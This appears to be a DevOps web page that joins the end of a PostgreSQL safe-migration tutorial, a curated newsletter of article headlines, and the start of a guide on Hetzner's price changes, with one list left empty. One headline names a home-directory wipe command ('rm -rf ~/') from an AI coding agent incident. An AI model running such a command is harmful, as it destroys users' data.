  CHECK (email_verified IS NOT NULL) NOT VALID;

Now validate it in a separate statement. VALIDATE CONSTRAINT scans the table, but it takes only a SHARE UPDATE EXCLUSIVE lock, which allows reads and writes to continue:

ALTER TABLE users VALIDATE CONSTRAINT users_email_verified_not_null;

On PostgreSQL 12+ you can then promote it to a real NOT NULL and PostgreSQL skips the table scan, because the validated CHECK already proves no nulls exist:

ALTER TABLE users ALTER COLUMN email_verified SET NOT NULL;
ALTER TABLE users DROP CONSTRAINT users_email_verified_not_null;

The same NOT VALID then VALIDATE trick works for foreign keys. Adding a foreign key normally locks both tables while it checks every existing row. Split it:

ALTER TABLE orders
  ADD CONSTRAINT orders_customer_fk
  FOREIGN KEY (customer_id) REFERENCES customers (id) NOT VALID;

ALTER TABLE orders VALIDATE CONSTRAINT orders_customer_fk;

Backfill in small, committing batches

When you backfill a column on a large table, do not run one big UPDATE. A single UPDATE users SET email_verified = false WHERE email_verified IS NULL on 40 million rows holds locks for the whole run, builds a huge transaction, and bloats the table with dead rows that vacuum has to clean up later.

Batch it. Each batch updates a few thousand rows and commits, so transactions stay short and other queries keep moving. A stored procedure with COMMIT inside the loop (PostgreSQL 11+) is the cleanest copy-paste version:

CREATE PROCEDURE backfill_email_verified()
LANGUAGE plpgsql AS $$
DECLARE
  affected integer;
BEGIN
  LOOP
    UPDATE users
    SET email_verified = false
    WHERE id IN (
      SELECT id FROM users
      WHERE email_verified IS NULL
      LIMIT 5000
    );
    GET DIAGNOSTICS affected = ROW_COUNT;
    EXIT WHEN affected = 0;  -- nothing left to update
    COMMIT;                  -- commit each batch, release locks
  END LOOP;
END;
$$;

CALL backfill_email_verified();

If the backfill is putting too much load on the database, add a small PERFORM pg_sleep(0.1) before the COMMIT to slow it down. Five thousand rows per batch is a reasonable starting point. Tune it based on row size and how much replication lag you can tolerate, because every batch ships to your replicas too.

When the backfill finishes, drop the procedure:

DROP PROCEDURE backfill_email_verified;

A migration checklist before you ship

Run through this before any production migration:

• Does every statement set lock_timeout?
• Is every index built with CONCURRENTLY, outside a transaction block?
• Does any statement rewrite or scan a large table while holding ACCESS EXCLUSIVE? If so, split it with NOT VALID plus VALIDATE, or move to expand-and-contract.
• Is the migration backward compatible with the code currently running? It has to be, because old and new code run side by side during a deploy.
• Did you test it against a staging database with production-like row counts and a long-running query in another session to trigger the lock queue?

Next steps

Pick your worst offender and fix it this week. Grep your migration history for CREATE INDEX without CONCURRENTLY and for ADD COLUMN ... NOT NULL. Those two patterns cause most of the outages.

Then make the safe path the default so people do not have to remember it:

• Set lock_timeout in postgresql.conf (or per-role) for the account your migrations run as, so a forgotten SET does not cost you an outage.
• Add a linter to CI that fails the build on unsafe DDL. If you use Rails, the strong_migrations gem flags these patterns before they merge. Django, Flyway, and Liquibase have similar checks or plugins. For raw SQL, squawk lints migration files directly.
• Put a slow query holding a read lock into your staging test suite so a missing lock_timeout shows up before production does.

The goal is not to memorize every lock level. It is to make the table stay online no matter what a migration does. Set the timeout, build concurrently, expand before you contract, and backfill in batches. Do those four things and the 2am index that took down orders becomes a migration that fails loudly in staging and ships quietly to production.

Sources:

• PostgreSQL: Explicit Locking
• PostgreSQL: ALTER TABLE
• PostgreSQL: CREATE INDEX (CONCURRENTLY)

📌 Handpicked by be4n - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Dynamic configuration for cloud native Swift services

Modern Swift services increasingly run alongside the same cloud native infrastructure stacks that power much of today’s Kubernetes ecosystem — including ConfigMaps, containerized workloads, declarativ

📅 Jun 1, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Scaling StarRocks on Amazon EKS with KEDA and Karpenter for enterprise OLAP workloads

Financial analytics at enterprise scale is unforgiving. Queries must return in seconds, not minutes. Thousands of finance professionals need concurrent access during monthly close cycles. And when dat

📅 May 29, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 Building a cloud native internal developer platform with Kubernetes, GitOps, and supply chain security

Modern software delivery is no longer constrained by application code — it is constrained by the platform that runs it. This article presents the design of a cloud-native Internal Developer Platform (

📅 May 29, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Beyond VM migration: What comes after the lift-and-shift

I've had this conversation dozens of times with infrastructure teams. They've just finished, or are deep into, a VM migration off a legacy hypervisor. The hard part is nearly done. Or, so they think.H

📅 May 29, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Security Notice: Former Helm APT Mirror Domain baltocdn.com Statement

The Helm Security Team has received third-party reports that the ownership on the former community-maintained Debian/Ubuntu APT mirror domain, baltocdn.com, has changed after baltocdn.com's original r

📅 May 29, 2026 • 📰 Helm Blog

🔗 Read more

📄 The Kubernetes integration tax: Prometheus, Cilium and production reality

I still remember the first time we lost sleep over something that wasn’t a bug. It was a Tuesday. Grafana dashboards showed blank panels for Cilium network metrics. Hubble was working fine — DNS visib

📅 May 28, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Kiali and MCP: Bringing AI-native observability to Red Hat OpenShift Service Mesh

The model context protocol (MCP) server for Kubernetes is moving toward technology preview (TP), and it’s bringing a powerhouse integration with it: the Kiali toolset. By integrating Kiali into the MC

📅 May 28, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Kubernetes 1.36, with Ryota Sawada

Ryota Sawada is software engineer at Numtide and the release lead of Kubernetes 1.36 code name Haru. He has over a decade of experience mainly in the finance industry including working on Cloud Native

📅 May 27, 2026 • 📰 Kubernetes Podcast

🔗 Read more

📄 GPU autoscaling on Kubernetes with KEDA: Building an external scaler

If you run GPU workloads on Kubernetes — vLLM, Triton, training jobs, or the newer agentic inference stacks — you’ve probably hit a familiar problem: the default autoscaling path still reasons about C

📅 May 27, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Reconciling the Past: Correcting Records for Unfixed Kubernetes CVEs

The Kubernetes project relies on transparency to empower cluster administrators and security researchers. One important way we do that is by publishing CVE records into the Common Vulnerabilities and

📅 May 26, 2026 • 📰 Kubernetes Blog

🔗 Read more

☁️ Cloud Native

📄 Coding Agent Horror Stories: The rm -rf ~/ Incident

This is Part 2 of our AI Coding Agent Horror Stories series, an in-depth look at real-world security incidents exposing the vulnerabilities in AI coding agents, and how Docker Sandboxes deliver worksp

📅 Jun 1, 2026 • 📰 Docker Blog

🔗 Read more

📄 How IBM Apptio Delivers Data Center Value in the Age of AI

As organizations accelerate their adoption of AI and use of hybrid infrastructure, data center efficiency has become a direct constraint of business modernization and growth. Global demand for data ce

📅 Jun 1, 2026 • 📰 Kubecost Blog

🔗 Read more

📄 Tuning Windows VM Performance on SUSE Virtualization

SUSE Virtualization is a cloud native hyperconverged infrastructure platform solution optimized for running virtual machine and container workloads in the data center, multi-cloud and edge environment

📅 May 31, 2026 • 📰 SUSE Blog

🔗 Read more

📄 VMware hypervisor deployment using MAAS

Most modern datacenters are inherently heterogeneous. VMware environments coexist with container platforms, databases, and other bare-metal workloads, often on the same hardware over several years. Se

📅 May 28, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 4 reasons to start using image mode for Red Hat Enterprise Linux right now

Nearly two years ago, we launched image mode for Red Hat Enterprise Linux (RHEL) to give customers a simpler way to deploy the foundation of their IT enterprise. Since then, I’ve heard users who have

📅 May 28, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Mitigating CVE-2026-31431 (“Copy Fail”) in Docker Engine

CVE-2026-31431 is a Linux kernel vulnerability that was recently disclosed. This CVE does not compromise Docker infrastructure. That said, Docker Engine's default profiles prior to v29.4.3 allowed con

📅 May 27, 2026 • 📰 Docker Blog

🔗 Read more

📄 The Untrusted Autonomous Workload: How AI Coding Agents Reshape What Isolation Has to Do

Earlier this year I mass-migrated my blog to Astro using Claude Code. 146 posts. 6,024 images. Canonical URLs, JSON-LD markup, sitemap generation, the whole stack. I'd spent hours writing a skills fil

📅 May 26, 2026 • 📰 Docker Blog

🔗 Read more

🔄 CI/CD

📄 The Complete AI Experimentation Guide: Test, Compare, Validate & Ship Safely

Artificial intelligence tools, particularly large language models (LLMs), aren’t like traditional software.

📅 May 30, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Release management tools: What they are and how they work

📅 May 30, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Feature Flags vs Feature Branching: Why You Need Both for Faster, Safer Releases

Feature flags control features after deployment, while feature branching manages code before merge

📅 May 30, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 BigQuery CI/CD with Harness Database DevOps

Automate BigQuery schema deployments with Harness using secure OIDC authentication and CI/CD pipelines. | Blog

📅 May 29, 2026 • 📰 Harness Blog

🔗 Read more

📄 Still a developer. Just outside. Our latest GitHub Shop collection is here.

The ESC collection lets you escape the confines of your desk and get out into the sun where good ideas are bound to happen. The post Still a developer. Just outside. Our latest GitHub Shop collection

📅 May 28, 2026 • 📰 GitHub Blog

🔗 Read more

📄 GitLab Patch Release: 19.0.1, 18.11.4, 18.10.7

📅 May 28, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Claude Opus 4.8 on GitLab: Complex agentic work, less disruption

Anthropic's latest model on GitLab is built for precise execution across complex multi-step agent work. Agents fail most often on complex, multi-step work: tasks that span multiple tools and go from i

📅 May 28, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Agentic coding is only as good as its context

Every week, another coding agent demo shows a prompt turning into a pull request in under five minutes. These demos often highlight a narrow use case not yet in production, and they skip everything th

📅 May 28, 2026 • 📰 GitLab Blog

🔗 Read more

📄 The Best Continuous Deployment Tools in 2026

Continuous Deployment is not the same as CI/CD. An honest ranking of the platforms that handle the deploy half: rollouts, traffic shifting, rollback, environment promotion.

📅 May 27, 2026 • 📰 Railway Blog

🔗 Read more

📄 Full security scanner coverage of your codebase in minutes

Across the industry, every CI/CD platform faces the same challenge: As organizations grow, manually configuring scanners to run across every pipeline definition file isn't scalable. AI is accelerating

📅 May 26, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitHub for Beginners: Getting started with Git and GitHub in VS Code

Discover how to use VS Code to interact with GitHub and maintain your projects. The post GitHub for Beginners: Getting started with Git and GitHub in VS Code appeared first on The GitHub Blog.

📅 May 25, 2026 • 📰 GitHub Blog

🔗 Read more

🏗️ IaC

📄 Stop managing, start orchestrating: Streamlining catalyst operations with Red Hat Ansible Automation Platform

Modern enterprise networks demand speed, consistency, and absolute resilience. Relying on manual, time-consuming network management tasks is no longer a viable strategy for organizations seeking true

📅 Jun 1, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Amazon Connect Customer now supports scheduling tasks up to 90 days in advance

Amazon Connect Customer now supports scheduling tasks up to 90 days in advance, helping organizations plan, route, and track long-running follow-up work. For example, an insurance team managing an aut

📅 May 29, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Generating a Pulumi Provider from an OpenAPI Spec

Today, we are announcing v1.0 of the Pulumi Service Provider: a major milestone in managing Pulumi Cloud with Pulumi itself. The provider is now generated directly from the Pulumi Cloud OpenAPI specif

📅 May 28, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 Stop Tuning Prompts. Build a Harness.

Anthropic shipped a piece earlier this month called How Claude Code Works in Large Codebases. I have not read anything more useful about coding agents this year. The core claim, in their words: “the e

📅 May 26, 2026 • 📰 Pulumi Blog

🔗 Read more

📊 Observability

📄 MLOps Lifecycle: Stages, Workflow, and Best Practices

Understand the MLOps lifecycle from data preparation to monitoring.

📅 May 30, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 Amazon SES now offers inbox placement metrics and blocklist monitoring

Today, Amazon Simple Email Service (SES) launched a new set of deliverability features that help customers get more information about their outbound sending deliverability performance and reputation.

📅 May 29, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 Announcing Trento Version 3.1

Trento 3.1 continues the road started with Trento 3.0 around automation and AI capabilities. It also strengthens the application core and brings important observability improvements. Timezone Awarenes

📅 May 29, 2026 • 📰 SUSE Blog

🔗 Read more

📄 Feature Flag Tools Compared: 10 Platforms for Safer Releases

Compare 10 feature flag tools across rollout controls, experimentation, governance, self-hosting, and observability. Find the best platform for startups, enterprises, and data-driven teams. | Blog

📅 May 29, 2026 • 📰 Harness Blog

🔗 Read more

📄 How we cut build times by two-thirds by deleting our CMS

Sentry replaced its CMS with Astro, Markdown, and Claude Code skills — cutting build times from 14 to under 4 minutes and eliminating API failures.

📅 May 28, 2026 • 📰 Sentry Blog

🔗 Read more

📄 You don’t need to pick one: how Sentry and OpenTelemetry work together

Use Sentry on the frontend, keep OpenTelemetry on the backend, and choose direct OTLP or Collector forwarding for OTLP events.

📅 May 27, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Your agent can't fix what it can't see

Agents can't fix bugs they can't see. Learn how Sentry MCP and CLI give coding agents the production context to diagnose and fix issues automatically.

📅 May 26, 2026 • 📰 Sentry Blog

🔗 Read more

📄 Can a High-Performance Culture Also Prioritize Wellbeing?

Discover how New Relic balances a high-performance culture with mental health and wellbeing through community, compassion, and continuous support.

📅 May 26, 2026 • 📰 New Relic Blog

🔗 Read more

🔐 Security

📄 Threats Making WAVs - Incident Response to a Cryptomining Attack

Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in

📅 Jun 1, 2026 • 📰 Linode Blog

🔗 Read more

📄 Claude Code Security Catches Vulnerabilities While You Write Code

Claude Code Security uses AI reasoning to catch complex vulnerabilities in code — including logic flaws that traditional static analysis tools consistently miss.

📅 Jun 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 AWS Shield Advanced introduces DDoS attack flow logs

AWS Shield Advanced announces distributed denial-of-service (DDoS) attack flow logs, giving you packet-level visibility into traffic hitting Shield Advanced protected resources during a DDoS attack. T

📅 May 29, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 From petabytes to predictions: Easy BigQuery insights in Google Sheets

Many organizations’ single source of truth is data that resides in BigQuery, Google’s governed, secure and petabyte-scale data platform. However, the "last mile" of ad-hoc analysis, modeling, and repo

📅 May 29, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 How Relay Network Adopted AI Coding Securely and Built the Foundation for Agentic Development

See how Relay Network securely adopted AI coding with Snyk and GitHub Copilot, implementing "secure at inception" to reduce vulnerabilities and accelerate development.

📅 May 29, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Fix SCA issues at scale in your terminal with Snyk Remediation Agent in the CLI

Stop security backlogs. Snyk's Remediation Agent in the CLI pairs AI reasoning with Snyk security intelligence to fix SCA issues at scale directly in your terminal.

📅 May 29, 2026 • 📰 Snyk Blog

🔗 Read more

📄 10 essential reads to optimize performance, security, and ROI in the AI era

As enterprise IT organizations push deeper into operationalizing AI, the conversation has shifted from theoretical capability to hard execution metrics. Whether your team is talking with customers abo

📅 May 29, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Anthropic’s Mythos, Glasswing, and AI’s Next Phase

This is not a security problem. As we’ve settled into the speed of AI, it’s become clear that security isn’t a job solely for the security team. Here’s why. | Blog

📅 May 29, 2026 • 📰 Harness Blog

🔗 Read more

📄 Is digital sovereignty illusory without open source and a trusted supply chain?

For a Chief Information Officer (CIO) or VP of Infrastructure, the term "digital sovereignty" often arrives as a regulatory burden to support a collection of acronyms like DORA (the EU Digital Operati

📅 May 29, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 7 features of Red Hat Identity Management you need to know for the modern enterprise

In the era of hyper-distributed systems where AI agents traverse our networks, and hybrid clouds stretch from the edge to the core, the "who" and "what" of infrastructure access are more critical than

📅 May 28, 2026 • 📰 Red Hat Blog

🔗 Read more

📄 Continuous Offensive Security: The Line We've Been Walking

Snyk's Continuous Offensive Security unifies DAST, AI pentesting, and agent red teaming to find exploitable flaws — not just bugs — before attackers do. Here's why lineage matters.

📅 May 27, 2026 • 📰 Snyk Blog

🔗 Read more

📄 Blog: Introducing Falco 0.44.0

Dear Falco Community, we are happy to announce the release of Falco 0.44.0 today! This release completes the deprecation cycle started in 0.42.0 and 0.43.0: the legacy eBPF probe, the gVisor engine, a

📅 May 26, 2026 • 📰 Falco Blog

🔗 Read more

💾 Databases

📄 PLEASE_READ_ME: The Opportunistic Ransomware Devastating MySQL Servers

Guardicore Labs uncovers a Ransomware detection campaign targeting MySQL servers. Attackers use Double Extortion and publish data to pressure victims.

📅 Jun 1, 2026 • 📰 Linode Blog

🔗 Read more

📄 What’s new in two: May 2026 edition

Welcome back to “What’s new in two,” your quick hit of Redis releases you might’ve missed over the last month. If your backlog has been winning lately, no worries—we’ve got the recap. We’re covering t

📅 May 29, 2026 • 📰 Redis Blog

🔗 Read more

📄 ScyllaDB Customer Experience Spotlight: Tyler Denton

Welcome to the first installment of a new blog series introducing some of the experts you’re likely to encounter when you work with ScyllaDB. Let's get to know Tyler Denton, a Solutions Architect on t

📅 May 28, 2026 • 📰 ScyllaDB Blog

🔗 Read more

📄 How Conflict-free Replicated Data Types power active-active database replication

Your application runs in three regions. A customer in Tokyo buys the last unit of a product at the exact moment a customer in Frankfurt buys the same SKU. Both writes succeed locally. Both replicas de

📅 May 27, 2026 • 📰 Redis Blog

🔗 Read more

📄 The Best PaaS for Multi-Region Deployments in 2026

Narrower than the general multi-region listicle. Specifically the PaaS-shaped products that handle deploys, scaling, routing, and database adjacency across regions, with the seven regions Railway runs

📅 May 27, 2026 • 📰 Railway Blog

🔗 Read more

📄 Beyond RAG: Using YugabyteDB as the Foundation for Reliable AI Decisions

With YugabyteDB at the core, customer records, vector embeddings, policies, and audit logs live together in a single distributed data layer. There is one source of truth and one consistent answer. Thi

📅 May 26, 2026 • 📰 Yugabyte Blog

🔗 Read more

📄 Context orchestration: what it is & how it works

Your LLM application works fine in a demo. You ship it to production, and it starts hallucinating on stale data, looping through the same tool calls, and burning through tokens in retry cycles. The mo

📅 May 26, 2026 • 📰 Redis Blog

🔗 Read more

📄 Single-shot reliable consumers with XREADGROUP CLAIM in Redis 8.4

In Redis 8.4, we extended XREADGROUP with a new optional CLAIM parameter that lets a single command both consume new stream entries and reclaim idle pending ones. In this blog post, we'll cover: Why r

📅 May 26, 2026 • 📰 Redis Blog

🔗 Read more

🌐 Platforms

📄 The Oracle of Delphi Will Steal Your Credentials

Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic

📅 Jun 1, 2026 • 📰 Linode Blog

🔗 Read more

📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger

In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum

📅 Jun 1, 2026 • 📰 Linode Blog

🔗 Read more

📄 The DIY platform trap that’s burning out engineering teams

Platform engineers are some of the most resourceful people in IT. Give them a problem, and they’ll automate their way The post The DIY platform trap that’s burning out engineering teams appeared first

📅 May 31, 2026 • 📰 The New Stack

🔗 Read more

📄 AI Disruptors: How the Next Generation of Business is Being Built

Getting your hands on a capable AI model is the easy part now. Every team can reach the same frontier models through an API, so a strong model is not what sets a product apart. What separates a workin

📅 May 29, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 AWS End User Messaging RCS for Business now available in 20 additional countries

AWS End User Messaging now supports RCS for Business messaging in 20 additional countries, bringing the total to 22. Businesses can now send verified, branded RCS messages to customers in Austria, Bra

📅 May 29, 2026 • 📰 CloudFormation Updates

🔗 Read more

📄 What’s new with Google Cloud

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not

📅 May 29, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Cool stuff Google Cloud customers built, May edition: Agentic algorithms for supply chains; virtual try-on APIs; robotic camera operators & more

AI and cloud technology are reshaping every corner of every industry around the world. Without our customers, who are building the future on our platform, there would be no Google Cloud. In this regul

📅 May 29, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 Developer's guide to Gemini Enterprise and A2UI integration

If you've built a chatbot, you know this conversation: User: "Book a table for two tomorrow at 7pm." Agent: "Okay, for what day?" User: "Tomorrow." Agent: "What time?" A date picker would have ended t

📅 May 29, 2026 • 📰 Google Cloud Blog

🔗 Read more

📄 OpenCode Now Supports DigitalOcean Inference Router for Intelligent Model Routing

Coding agents today have a massive spending problem. Every request, whether you’re designing system architecture or writing a single-line docstring, often gets routed to the same expensive frontier mo

📅 May 28, 2026 • 📰 DigitalOcean Blog

🔗 Read more

📄 Canonical announces optimized Ubuntu images for TPU virtual machines by Google Cloud

Canonical and Google Cloud announced the availability of certified Ubuntu images for Google’s Cloud TPU Virtual Machines.

📅 May 28, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 How we built Cloudflare's data platform and an AI agent on top of it

Here’s how we built Town Lake, Cloudflare's unified analytics platform, alongside Skipper, an internal AI agent running on top of it.

📅 May 28, 2026 • 📰 Cloudflare Blog

🔗 Read more

📄 Harness Launches AI ROI Visibility Tools for Enterprises

Announcing AI DLC Insights and Cloud & AI Cost Management: two new products that give engineering organizations real answers on what they are spending on AI, and whether that investment is worth it. |

📅 May 28, 2026 • 📰 Harness Blog

🔗 Read more

📰 Misc

📄 Visual Studio Code 1.123

Learn what's new in Visual Studio Code 1.123 (Insiders) Read the full article

📅 Jun 3, 2026 • 📰 VS Code Blog

🔗 Read more

📄 How Canonical Support solves hard Linux performance bugs – even in 12-year old code

A 12-year-old bug in libnss-db caused getent enumeration to slow to a crawl – and showed how far expert support can go when a customer brings the right evidence and the right question.

📅 Jun 1, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Stop Pasting Tokens: OAuth2 Login for JetBrains IDE Plugins

The moment a plugin needs account data, a simple API call turns into an authentication problem. The bad shortcut is familiar: ask the user to create a personal access token (PAT), make them paste it i

📅 Jun 1, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Mellum2 Goes Open Source: A Fast Model for AI Workflows

Trained from scratch and designed for practical deployment, Mellum2 is built for routing, Q&A, sub-agents, and private AI use in software engineering systems. Today, we’re open-sourcing Mellum2, a 12B

📅 Jun 1, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 xAI Opens Grok Build 0.1 to Developers via API

xAI's Grok Build 0.1 is now available in public beta via the xAI API — a fast, purpose-built coding model for agentic workflows, debugging, and MCP support.

📅 Jun 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 How To Fix Common TypeScript Issues With Qodana

Most TypeScript projects already run ESLint with @typescript-eslint. That covers a lot: explicit any, floating promises, non-null assertions, and more. If your linting setup is solid, you’re catching

📅 Jun 1, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 Claude Code’s Dynamic Workflows Take on the Tasks That Were Too Big to Automate

Anthropic's Claude Code dynamic workflows run parallel subagents to tackle codebase-wide audits, large migrations, and complex engineering tasks end-to-end.

📅 Jun 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 Microsoft Brings MCP to Geospatial Workflows With Planetary Computer Pro Tools for VS Code

Microsoft's Planetary Computer Pro MCP Tools for VS Code bring 35+ geospatial tools into GitHub Copilot via natural-language prompts.

📅 Jun 1, 2026 • 📰 DevOps.com

🔗 Read more

📄 Securing AI agent workflows on Ubuntu with the new NVIDIA OpenShell snap

By packaging OpenShell as a snap, Canonical is enabling enterprises to confidently run next-generation agentic workflows across local devices, hybrid environments, and private clouds.

📅 Jun 1, 2026 • 📰 Ubuntu Blog

🔗 Read more

📄 Gavriel Cohen found his own code inside OpenClaw, so he walked away

When Gavriel Cohen first saw OpenClaw, he knew he wanted it. At the time, Cohen (soon to be the founder The post Gavriel Cohen found his own code inside OpenClaw, so he walked away appeared first on T

📅 May 31, 2026 • 📰 The New Stack

🔗 Read more

📄 AI retrieval at scale is becoming a systems problem, not a tooling problem

AI retrieval has moved well beyond embeddings and vector search. Early retrieval architectures focused primarily on semantic similarity. Still, production The post AI retrieval at scale is becoming a

📅 May 31, 2026 • 📰 The New Stack

🔗 Read more

📄 I tested Cursor’s new Jira integration and it’s 5 stars, no notes. Here’s why.

Cursor launched its Jira integration last week. The integration was marketed as simple: assign a ticket in Jira and Cursor The post I tested Cursor’s new Jira integration and it’s 5 stars, no notes. H

📅 May 31, 2026 • 📰 The New Stack

🔗 Read more

If you run production workloads on Hetzner, this is not a reason to panic migrate. It is a reason to get precise about exposure: which servers are protected by existing terms, which workloads need new capacity soon, and which systems could move without turning a pricing update into an outage.

TL;DR

Hetzner's May 27 announcement says it is standardizing dedicated server products and increasing monthly prices for new orders. The changes take effect on June 15, 2026.

The operational takeaways:

• Existing rented servers keep their current terms for this adjustment.
• New orders, rescales, and future products can be affected.
• Dedicated servers and cloud plans at all locations are in scope.
• Server Auction, IPs, storage products, Load Balancers, Volumes, Snapshots, Object Storage, web hosting, and managed servers are listed as not affected by this specific announcement.
• Hetzner has not published the final new prices yet.
• The Reddit reaction is mostly about repeated adjustments and unclear numbers, not just the existence of a price increase.

The right move is to build a short exposure report before deciding anything. Stable existing servers may be fine. Workloads that need frequent resizing deserve a closer look.

Prerequisites

Before you make a provider decision, gather:

• A current list of Hetzner cloud servers, dedicated servers, and Server Auction machines
• Monthly spend by product line, environment, and owner
• Planned capacity changes for the next 30-90 days
• A backup and restore status for every production datastore
• DNS TTLs, load balancer dependencies, and IP allowlists
• One realistic fallback provider for each workload class

What Actually Changed

Hetzner's May 27 announcement has two separate parts.

First, Hetzner is standardizing the dedicated server portfolio. New dedicated server models will use clearer suffixes such as -1, -2, and -3. A -1-Ltd suffix will mark limited-quantity servers built from lower-cost hardware components.

Second, Hetzner says monthly prices are increasing for new orders. The company points to hardware procurement pressure, especially the cost of server components. It also says setup fees will be reduced for most dedicated servers.

For operators, the most important scope detail is this: currently rented servers are not affected by this specific adjustment. New orders, rescales of existing servers, and future products under the new structure are affected.

That creates two very different situations:

• A stable dedicated server fleet may not see an immediate bill change.
• A growing cloud or dedicated fleet can still be exposed as soon as it adds or rescales capacity.

That distinction matters. "Hetzner is raising prices" is too vague to act on. "Our CI runner fleet creates new cloud servers every week" is actionable.

Why Customers Are Frustrated

The Reddit thread titled Third price increase in three months is a good snapshot of the mood. Several comments focus on the same point: Hetzner announced another change, but the new prices are not visible yet.

That frustration did not come from nowhere. Hetzner's own pressroom shows a run of pricing-related updates in 2026:

Depending on how you count setup fees versus monthly prices, people will debate whether this is the third or fourth adjustment. For planning, that debate is less important than the pattern: teams can no longer assume Hetzner pricing is static across the year.

The Risk Is Bigger Than the Monthly Bill

The obvious risk is a higher bill. The more useful question is whether the price change breaks an assumption in your infrastructure plan.

Examples:

• You planned to resize a database host after a traffic launch.
• You rely on cheap ephemeral cloud workers for CI or batch jobs.
• You sell hosting with thin margins and fixed customer pricing.
• You keep extra capacity around because adding capacity has historically been cheap.
• You assume Hetzner is always the cheapest acceptable provider, so no one has tested a fallback.

Those are different problems. A stable server that keeps its terms needs documentation and monitoring. A workload that creates new machines every day needs a cost model.

Build an Exposure Report

Start with a small table. Do not try to solve the whole migration question in one meeting.

Workload        Product type      Current state      Next resize?     Move difficulty
api-prod        Hetzner Cloud     existing           yes, 30 days     medium
postgres-prod   Dedicated AX      existing           no              high
ci-runners      Cloud             ephemeral          yes, weekly      low
object-store    Object Storage    existing           no              medium
staging         Cloud             existing           flexible        low

The useful column is Next resize?. Existing servers may be protected from this specific adjustment, but growth can still put you onto new pricing.

If you use the Hetzner Cloud CLI, export the current fleet first:

hcloud server list -o columns=id,name,type,location,status,ipv4
hcloud volume list -o columns=id,name,size,location,server
hcloud load-balancer list -o columns=id,name,type,location

Then add the context the CLI cannot know:

• Who owns the workload?
• Is it production, staging, CI, or batch?
• Does it need new capacity before June 15?
• Does it have tested backups?
• Could it run somewhere else with only DNS and secret changes?

This turns a provider announcement into a concrete task list.

Decide by Workload Class

Do not make one global decision for everything on Hetzner.

Stable dedicated servers

If an existing dedicated server is stable, well-utilized, and hard to move, staying put may be the best decision. The announcement says currently rented servers are not affected by this adjustment.

For these systems, do the boring work:

• Confirm the current billing terms.
• Record the hardware specs and replacement plan.
• Verify backups with a restore test.
• Keep a migration runbook current even if you do not plan to use it.

Frequently resized cloud workloads

These deserve the closest review. If your workload adds capacity often, the "new orders and rescales" language matters.

Model total workload cost, not just VM price:

Monthly workload cost =
  compute
+ block storage
+ snapshots
+ backups
+ load balancers
+ bandwidth overages
+ support
+ engineering time

The cheapest VM is not always the cheapest workload. If a provider saves $40/month but adds three hours of operational work every month, it is not cheaper for a real team.

Low-risk disposable workloads

If you want to reduce provider concentration, start here:

• CI runners
• Preview environments
• Batch workers
• Staging apps
• Stateless internal tools

These systems are useful migration drills. They reveal missing Terraform modules, secrets assumptions, DNS gaps, and observability gaps without putting your primary database at risk.

Keep One Simple Fallback Ready

For smaller teams, it helps to keep one boring fallback provider ready. DigitalOcean is a reasonable candidate for this role. It is not a perfect replacement for Hetzner dedicated servers, but it is easy to price, easy to explain, and good enough for many web apps, staging environments, internal tools, and smaller production services.

DigitalOcean's Droplet pricing currently starts at $4/month for basic VMs, and the pricing page says Droplets use per-second billing with a monthly cap. That kind of predictable pricing is useful when your goal is optionality, not chasing the absolute lowest benchmark score.

Use any fallback provider as a test target first:

provider: digitalocean
candidate_workloads:
  - name: ci-runners
    reason: stateless and easy to recreate
    rollback: disable new runners and re-enable Hetzner runners
  - name: staging-api
    reason: low traffic with simple DNS rollback
    rollback: point staging DNS back to Hetzner
  - name: internal-dashboard
    reason: low customer impact and simple data model
    rollback: restore previous deployment target

The goal is not to move everything. The goal is to make sure your team has a path if the final prices change the math.

Migration Checklist

If the June 15 prices push you toward migration, move in phases.

Phase 1: Classify systems

Class A: stateful production systems, high migration risk
Class B: stateless production services, medium migration risk
Class C: staging, CI, batch, internal tools, low migration risk

Move Class C first. Leave Class A alone until restore tests, load tests, and rollback steps are proven.

Phase 2: Prove backups

